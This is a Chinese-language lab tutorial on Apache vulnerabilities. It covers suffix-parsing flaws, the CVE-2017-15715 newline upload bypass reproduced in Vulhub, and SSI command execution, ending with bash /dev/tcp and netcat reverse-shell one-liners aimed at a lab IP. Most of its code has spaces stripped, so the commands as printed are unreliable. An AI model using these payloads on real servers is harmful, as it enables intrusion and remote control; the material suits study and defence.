apche(Apache中間件漏洞原理及復現方法)

一、 簡介

1、apache簡述

apache是世界上使用排名第一的web服務器軟件。他廣泛使用在各種計算機平臺,由于其跨平臺和安全性被廣泛使用,是最流行的web服務器端軟件之一。他快速、可靠并且通過簡單的API擴充,將perl/python等語言解釋器編譯到服務器中。

apache的目錄結構:

bin存在常用命令工具,例如:start.bat、httpd.batcgi-bin存放linux下常用的命令。例如:xxx.shconfapache的相關配置文件,例如:httpd.conferror錯誤日志記錄htdocs放網站源碼的地方logs日志manual手冊modules擴展模塊

2、apache原理簡述:

下面講到apache的漏洞必須理解apache運行原理

很多小伙伴在搭建php+apache環境時,經常采用phpstudy,lamp、xampp等集成環境搭建,很容易忽略里面的一下原理,為了更好的理解本章中講到的漏洞,我們必須要說一下apache與PHP的小秘密

下面我們通過下圖來說一下完整的web請求流程:

請求從request開始,到response結束

圖中簡易描述了apache與php配合完成了一次web請求,apache在前,php在后,那兩者之間如何通信的呢,我們先了解一下php的框架。如下圖:

深入理解zendSAPIs:https://www.laruence.com/2008/08/12/180.html

簡單理解:

通過上圖可以看出PHP的整體分為5層(類似Android的架構圖),分別解釋下:

1.ZendEngine是PHP的底層實現,包含編譯和執行,底層由C語言實現。2.ZendAPI、ZendExtensionAPI是基于Zend底層對外封裝提供服務。3.Extendions使用ExtensionAPI實現了擴展庫、標準庫,例如各種內置函數、MySQL連接庫等4.SAPI是服務器應用程序編程接口,就是通過它來和apache、nginx、FastCGI交互5.Application是最上層,也就是我們寫的PHP代碼了

明白了上面的php的架構,那么現在關于apache和php通信的過程還是不明白?
apache本身不支持php解析,通過架構圖可以知道通過SAPI進行通信,那么apache如何和SAPI通信呢,apache怎么知道是什么類型的文件要解析為php,如果你動手搭建過apache解析php的環境,就肯定了解這兩個問題:

#加載php5_module模塊LoadModulephp5_modulephp5apache2_2.dll路徑#添加可以執行php的文件類型,讓.php解析為phpAddTypeapplication/x-httpd-php.php#或者將addtype變為下面的(在apache2.4.0~2.4.29中默認使用了該方式)<FilesMatch\.php$>SetHandlerapplication/x-httpd-php</FilesMatch>以及<IfModuledir_module>DirectoryIndexindex.htmlindex.htmindex.phpindex.phtml</IfModule>

apache通過LoadModule來加載php5_module模塊(php5apache2_2.dll),這樣做的目的是讓apache加載php5_module模塊來解析php文件。意思其實就是用loadmodule來加載php5_module。也就是吧php作為apache的一個子模塊來運行。當通過web訪問php文件時,apache就會調用php5_module來解析php代碼。

調用過程可以概況為:

HTTP->APACHE->PHP5_MODULE->SAPI-PHP

講到這里各位應該明白了apache是怎么調用php了吧

二、apache文件解析漏洞

1、簡介

解析漏洞(CVE-2017-15715):未知擴展名解析漏洞

apache的解析漏洞依賴于一個特性:apache默認一個文件可以有多個以點分割的后綴,比如test.php.abc,當最右邊的后綴無法識別(不在mime.types文件內),則繼續向左識別,知道識別到合法后綴才能進行解析,與windows不同,apache對文件的名解析不是僅僅認識最后一個后綴名,而是從右向左,依此識別,直到遇到自己可以解析的文件為止。

apache官方解釋地址:http://httpd.apache.org/docs/current/mod/directive-dict.html

2、部署phpstudy測試

通過phpstudy部署apache+php環境

訪問phpinfo


apache的文件名擴展名的定義在conf/mime.types文件中


我們建立如下的文件來驗證該規則

訪問phpinfo.png.abc文件

訪問phpinfo.png文件

我們可以看到.png.abc的文件可以被解析為.png文件,那么我在php文件后面添加其他的php不能識別的后綴可以解析為php文件,用來繞過一些文件上傳限制的規則,并使其正常解析。

訪問phpinfo.php.abc

根據上圖我們發現php.abc中的文件是通過txt訪問展示,不能使用php解析,那是因為apache與php結合模式不同。

3、apache和php三種結合方法

CGI模式:

CGI通常翻譯為共同網關接口,是HTTP服務器域機器上的其他程序進行通信的一個接口,讓WEB服務器必要時啟動額外的程序處理動態內容。CGI是一種協議,他定義webserver域CGI程序的通信方式。缺點是每次客戶端請求都需要建立和銷毀進程。因為HTTP要生成一個動態頁面,系統就必須啟動一個新的進程以運行CGI程序,不斷地fork是一項很消耗時間和資源的工作。

FastCGI模式:

CGI解析器的反復加載是CGI性能低下的主要原因,如果CGI解析器保持在內存中,并接受GastCGI進程管理器調度,則可以提供良好的信息,伸縮性等。

FastCGI是一個常駐型的CGI,可以一直執行,只要激活后,不需要每次花時間去fork一次。

Module模式:

apache的MPM的工作模式(多道處理模塊)用于定義apache在響應多個用戶請求時所工作的模型。有三種MPM模式:

prefork(一個請求一個進程響應)

worker(一個請求用一個線程響應,啟動多個進程每個進程生成多個線程)

event(一個進程處理多個請求)

詳細請參考:https://blog.csdn.net/sinat_22991367/article/details/73431316

根據上述我們了解了apache與php結合的三種模式,那么不同模式和解析漏洞有什么關系呢,下面我們一起看一下:

使用module模式與php結合的所有版本 apache存在未知擴展名解析漏洞,使用fastcig模式與php結合的所有版本apache不存在此漏洞。并且,想利用此漏洞必須保障文件擴展名中至少帶有一個“.php”,否則將默認被作為txt/html文檔處理。

1、使用module模式域php結合的所有版本,apache存在未知擴展名解析漏洞2、使用fastcgi模式域php結合的所有版本,apache不存在此漏洞未知擴展名解析漏洞3、想利用此漏洞必須保證文件名至少帶有一個“.php”.否則將默認被作為txt/html文檔處理

Apache 2.0 Handler使用的為module模式

詳解參考https://blog.csdn.net/wn314/article/details/77074477

三、linux環境測試文件解析漏洞

1、環境部署

安裝apache

kali虛擬機中包含有apache,在/etc/目錄下

cd/etc/ls-alapache2/

啟動apache

/etc/init.d/apache2start/etc/init.d/apache2statusserviceapache2restartnetstat-tnlp

訪問80端口

安裝php

同上kali虛擬機中是包含有php的,也在/etc/目錄下面

php-v#查看php版本

測試apache是否可以解析php文件

在/var/www/html目錄下創建index.php文件

touchindex.php#創建文件#在文件中添加<?phpinfo();?>#編輯文件geditindex.php

訪問index.php

2、分析apache解析漏洞

apache2和apache目錄不同,apache2大致分為conf、mods、sites目錄及一些配置文件,每個目錄都有enabled類型和availablelia后綴兩種。

enabled#是啟動文件,里面默認放的是availble#文件夾中的配置文件的軟鏈接。avaibled#中的放的文件才是真正的配置文件。ports.conf#為服務器監聽IP和端口設置的配置文件,apache2.conf#對應httpd.conf文件sites-available#如果apache上配置了多個虛擬主機,每個虛擬主機的配置文件在目錄中mods-available#是存放apache功能模塊的配置文件和鏈接的,當我安裝了PHP模塊后,在這兩個目錄里就有了php5.load、php5.conf和指向這兩個文件的鏈接。

根據上面說明,我們查看php的配置需要在sites-available目錄中

查看php7.3.conf文件,第一行就告訴了我們apache會將那些后綴的文件當做php解析

<FilesMatch".+\.ph(ar|p|tml)$">

根據上面正則表示,當如下結尾的文件會被apache當做php解析

pharphpphtml

apache這次解析漏洞的根本原因及時這個 $ 字符,在正則表達式中,$ 符號用來匹配字符串結尾位置。

菜鳥教程解釋:https://www.runoob.com/regexp/regexp-syntax.html

3、多后綴名漏洞

漏洞復現

我們修改php7.3.conf文件中剛剛提到了正則表達式,意思為匹配后綴名帶.php、.phar、.phtml文件

<FilesMatch".+\.ph(ar|p|tml)*">將$修改為*

重啟apache

serviceapache2restart

測試訪問phpinfo.php.jpg文件

我們看到果然phpinfo.php.jpg被當做php解析了。

總結利用條件

1.使用module模式,且正則符合條件2.文件中至少帶一個.php3.apache解析文件名從右向左解析,即使最右邊的文件格式在mime.types文件內,只要文件中出現.php,就可以被php模塊解析

4、addhandlerd的解析

漏洞復現

訪問phpinfo.php.jpg,正常情況下apache解析文件名從右向左解析,phpinfo.php.jpg首先解析jpg格式文件,所以顯示圖片。

在sites-enabled目錄下添加一個conf文件,意思為apache識別只要帶.php后綴的全部文件,

AddHandlerapplication/x-httpd-php.php

重啟apache

serviceapache2restart

訪問phpinfo.php.jpg文件

利用總結

即使最右邊的文件格式在mime.types文件內,只要文件中出現.php,就可以被php模塊解析

5、罕見后綴總結

漏洞復現
在mime.types文件中,不僅僅有php,還有php3、php4、php5等。

cat/etc/mime.types|grepphp

在php7.4.php正則表達式,匹配php、phar、phtml

<FilesMatch".+\.ph(ar|p|tml)$">

我們可以通過其他文件后綴名解析php文件,比如:phtml。在特定的時候,繞過一些限制

6、配置問題總結

1、如果修改/etc/apache2/mods-enabled/phpxx.conf文件中第一行正版表達式,會出現文件解析漏洞。

<FilesMatch".+\.ph(ar|p|tml)$">將$修改為*.\.等其他字符

2、如果在apache的/etc/apache2/apache2.conf中有這樣的配置

<FilesMatch".jpg">SetHandlerapplication/x-httpd-php</FilesMatch>

這時候文件名為包含.jpg的文件,全部解析為php

3、在apache的sites-enabled目錄下添加一個conf文件,配置一行代碼:

AddHandlerapplication/x-httpd-php.php

這時候只要文件名包含.php,就可以被解析為php

4、在/etc/apache2/mods-enabled/phpxx.conf正則表達式,匹配php、phar、phtml和在/etc/mime.types匹配php3、php4、php5等一些文件,我們在此范圍內修改后綴名上傳文件,可以簡單繞過一下限制。

四、apache httpd換行解析漏洞(CVE-2017-15715)

1、漏洞簡介

apache通過modl_php模式來運行腳本,其2.4.0-2.4.29中存在apache換行解析漏洞。在解析php時xx.php\0A將被安全.php后綴進行解析,導致繞過一些安全機制。

在/etc/apache2/mods-enabled/php7.3.php第一行正則限制了可以解析的php文件類型

正則表達式在結尾處$ 符號,如果設置了 RegExp 對象的 Multiline 屬性,則 $ 也匹配 '\n' 或 '\r'。

利用這一機制,如果在文件名后添加換行符,是否可以繞過文件上傳限制,并同時達到可以讓php解析的地步的,下面我們開始測試,即:

1.php\x0a=1.php\n

2、準備漏洞環境Vulhub

1、下載docker

curl-shttps://get.docker.com/|sh

查看docker版本

docker-v

2、安裝docker-compose

aptinstallpython-pippipinstalldocker-composesudoaptinstalldocker-compose

查看docker-compose版本

docker-compose-v

3、下載vulhub

安裝完成docker和docker-compose之后,將valhue下載或者上傳到本地任意目錄

gitclonehttps://github.com/vulhub/vulhub.git

或者將軟件包上傳到本地

4、啟動(CVE-2017-15715)漏洞環境

cdvulhub-master/httpd/CVE-2017-15715/#docker-composeup-d運行后,會自動查找當前目錄下的配置文件。如果配置文件中包含的環境均已經存在,則不會再次編譯;如果配置文件中包含的環境不存在,則會自動進行編譯。所以,其實docker-composeup-d命令是包含了docker-composebuild的。如果更新了配置文件,你可以手工執行docker-composebuild來重新編譯靶場環境。docker-composebuilddocker-composeup-ddockerps列出所有在運行的容器信息。

3、漏洞測試

訪問8080端口

直接上傳文件,失敗

使用burp抓取請求報

發送到repeater,在1.php后添加.符號

.符號hex編碼為2e0a在hex解碼或為換行符

將2e修改為0a
修改前

修改后

上傳成功

訪問2.php文件

http://192.168.43.129:8080/2.php%0a

我們看一下,上傳的文件,\n對應這hex編碼中的0a

4、分析代碼

為什么加載0X0a就能讓給了呢,我們先看一下index.php的代碼

<?phpif(isset($_FILES['file'])){$name=basename($_POST['name']);$ext=pathinfo($name,PATHINFO_EXTENSION);if(in_array($ext,['php','php3','php4','php5','phtml','pht'])){exit('badfile');}move_uploaded_file($_FILES['file']['tmp_name'],'./'.$name);}else{?><!DOCTYPEhtml><html><head><title>Upload</title></head><body><formmethod="POST"enctype="multipart/form-data"><p><label>file:<inputtype="file"name="file"></label></p><p><label>filename:<inputtype="text"name="name"value="evil.php"></label></p><inputtype="submit"></form></body></html><?php}?>

可見,這里用到了黑名單,如果發現后綴在'php', 'php3', 'php4', 'php5', 'phtml', 'pht'這幾個黑名單里,一律進制上傳,進行攔截。

根據前文我們提到,php模塊在解析php文件中通過正則表達式驗證可以解析的文件名,正則表達式在結尾處$ 符號,如果設置了 RegExp 對象的 Multiline 屬性,則 $ 也匹配 '\n' 或 '\r'。我們在文件結尾加上\x0a(\n),保證了文件解析的同時,也可以繞過上傳黑名單。

0x0a和0x0d的區別:

0x0d、\r、CR這三者代表回車,是同一個意思,回車的作用只是移動光標至該行的起始位置0x0a、\n、CL這三者代表換行,是同一個意思,換行至下一行行首起始位置

6、修復建議

1、升級到最新版本2、或將上傳的文件重命名為時間戳+隨機數+.jpg的格式,并禁用上傳文件目錄執行腳本權限

7、補充:docker-compose常用命令

docker-composeup-d#啟動所有服務并在后臺運行docker-composeupps#查看服務運行狀態docker-composerestart#重啟所有服務docker-composerestartmyApp#重啟myApp服務docker-composestart#開始所有服務docker-composestop#停止所有服務docker-composerm#刪除所有服務docker-composebuild#重新編譯靶場環境

五、Apche SSI遠程命令執行漏洞(ssi-rce)

1、漏洞簡介

1、漏洞描述

SSI(server-side includes):是放置在HTML頁面中的指令,他可以將動態生成的內容添加到現在的HTML頁面,而不必通過CGI程序或其他動態技術來提供整個頁面。以上是定義采用在apache官網對SSI的定義,說白了就是可以在HTML中加入特定的指令,也可以引入其他的頁面。開始SSI需要單獨配置Apache,參考:

https://httpd.apache.org/docs/2.4/howto/ssi.html

SSI可以完成查看時間、文件修改時間、CGI程序執行結果、執行系統命令、連接數據庫等操作,功能很強大。

在測試任意文件上傳漏洞時時候,目標服務器可能不允許上傳php后綴的文件。如果目標服務器開啟了SSI與CGI支持,我們可以上傳一個shtml文件,并利用語法執行任意命令。

2、影響版本

apache全版本(支持SSI與CGI)

2、環境搭建

此次測試使用docker搭建環境,環境采用Vulhub靶機

cd/root/vulhub-master/httpd/ssi-rcedocker-composeup-ddockerps

catupload.php

3、漏洞復現

1、創建腳本

我們利用SSI執行系統命令的工作,正常一個包含SSI指令的文件,保存在test.shtml文件,內容如下:

<pre><!--#execcmd="whoami"--></pre>

文件的后綴名取決于apache的配置,默認是此后綴。

2、上傳木馬

如果后臺對后綴名校驗不嚴格時,可以上傳shtml類型文件,達到命令執行,獲取webshell的目錄。

訪問shtml文件,看到whoami命令執行并返回了結果

3、反彈shell

<!--#execcmd="/bin/bash-i>/dev/tcp/192.168.43.129/88880<&12>&1"--><!--#execcmd="nc192.168.43.1298888-e/bin/bash"-->

感謝各位的閱讀,以上就是“Apache中間件漏洞原理及復現方法”的內容了,經過本文的學習后,相信大家對Apache中間件漏洞原理及復現方法這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是本站,小編將為大家推送更多相關知識點的文章,歡迎關注!